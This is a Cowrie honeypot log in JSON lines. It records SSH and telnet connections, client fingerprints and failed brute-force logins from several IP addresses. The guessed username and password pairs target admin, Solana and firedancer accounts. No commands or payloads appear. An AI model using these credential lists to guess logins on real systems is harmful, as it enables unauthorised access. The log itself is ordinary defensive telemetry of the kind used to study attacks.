{"eventid":"cowrie.login.failed","username":"admin","password":"010679","message":"login attempt [admin/010679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:50.128594Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01041995","message":"login attempt [admin/01041995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:51.237306Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01041961","message":"login attempt [admin/01041961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:52.345818Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"010289","message":"login attempt [admin/010289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:53.454455Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:54.563904Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60058,"dst_ip":"10.17.0.5","dst_port":22,"session":"33488ea719c6","protocol":"ssh","message":"New connection: 195.178.110.218:60058 (10.17.0.5:22) [session: 33488ea719c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:11:13.957273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:11:13.964291Z","src_ip":"195.178.110.218","session":"33488ea719c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:11:14.044038Z","src_ip":"195.178.110.218","session":"33488ea719c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:11:14.285277Z","src_ip":"195.178.110.218","session":"33488ea719c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:11:15.367319Z","src_ip":"195.178.110.218","session":"33488ea719c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":39832,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ab9f29ed16","protocol":"ssh","message":"New connection: 185.156.73.233:39832 (10.17.0.5:22) [session: 73ab9f29ed16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:12:09.321111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:12:10.024432Z","src_ip":"185.156.73.233","session":"73ab9f29ed16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:12:10.291886Z","src_ip":"185.156.73.233","session":"73ab9f29ed16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfsense","message":"login attempt [admin/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:12:11.840770Z","src_ip":"185.156.73.233","session":"73ab9f29ed16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:12:13.157745Z","src_ip":"185.156.73.233","session":"73ab9f29ed16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60084,"dst_ip":"10.17.0.5","dst_port":22,"session":"af159345cbc8","protocol":"ssh","message":"New connection: 195.178.110.218:60084 (10.17.0.5:22) [session: af159345cbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:13:45.708452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:13:45.712458Z","src_ip":"195.178.110.218","session":"af159345cbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:13:45.794521Z","src_ip":"195.178.110.218","session":"af159345cbc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:13:46.032575Z","src_ip":"195.178.110.218","session":"af159345cbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:13:47.113632Z","src_ip":"195.178.110.218","session":"af159345cbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.251.52.24","src_port":50070,"dst_ip":"10.17.0.5","dst_port":23,"session":"669874f20eda","protocol":"telnet","message":"New connection: 43.251.52.24:50070 (10.17.0.5:23) [session: 669874f20eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:14:08.828858Z"}
{"eventid":"cowrie.session.closed","duration":15.102338314056396,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:14:23.931106Z","src_ip":"43.251.52.24","session":"669874f20eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44908,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76d7e5c50c3","protocol":"ssh","message":"New connection: 195.178.110.218:44908 (10.17.0.5:22) [session: c76d7e5c50c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:37.344887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:37.349797Z","src_ip":"195.178.110.218","session":"c76d7e5c50c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:37.430091Z","src_ip":"195.178.110.218","session":"c76d7e5c50c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:37.669297Z","src_ip":"195.178.110.218","session":"c76d7e5c50c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:38.752724Z","src_ip":"195.178.110.218","session":"c76d7e5c50c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":61176,"dst_ip":"159.203.135.109","dst_port":22,"session":"a06aa5e4f088","protocol":"ssh","message":"New connection: 185.156.73.233:61176 (159.203.135.109:22) [session: a06aa5e4f088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:54.013806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:56.836860Z","src_ip":"185.156.73.233","session":"a06aa5e4f088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:56.909821Z","src_ip":"185.156.73.233","session":"a06aa5e4f088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfsense","message":"login attempt [admin/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:57.566326Z","src_ip":"185.156.73.233","session":"a06aa5e4f088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:16:58.677969Z","src_ip":"185.156.73.233","session":"a06aa5e4f088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bde2a95060cf","protocol":"ssh","message":"New connection: 195.178.110.218:42992 (10.17.0.5:22) [session: bde2a95060cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:15.106387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:15.111463Z","src_ip":"195.178.110.218","session":"bde2a95060cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:15.188119Z","src_ip":"195.178.110.218","session":"bde2a95060cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:15.415727Z","src_ip":"195.178.110.218","session":"bde2a95060cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:16.494365Z","src_ip":"195.178.110.218","session":"bde2a95060cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46933,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac9ff82b89df","protocol":"ssh","message":"New connection: 2.57.121.25:46933 (159.203.135.109:22) [session: ac9ff82b89df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:22.407140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:22.411735Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:22.511013Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manuals","message":"login attempt [user/manuals] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:22.981930Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manifest","message":"login attempt [user/manifest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:24.083475Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mamont","message":"login attempt [user/mamont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:25.185899Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mahalkita","message":"login attempt [user/mahalkita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:26.288043Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"magoo","message":"login attempt [user/magoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:27.397463Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:19:28.500226Z","src_ip":"2.57.121.25","session":"ac9ff82b89df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58906,"dst_ip":"10.17.0.5","dst_port":22,"session":"58c2c4475e20","protocol":"ssh","message":"New connection: 195.178.110.218:58906 (10.17.0.5:22) [session: 58c2c4475e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:22:03.017520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:22:03.022897Z","src_ip":"195.178.110.218","session":"58c2c4475e20","protocol":"ssh"}
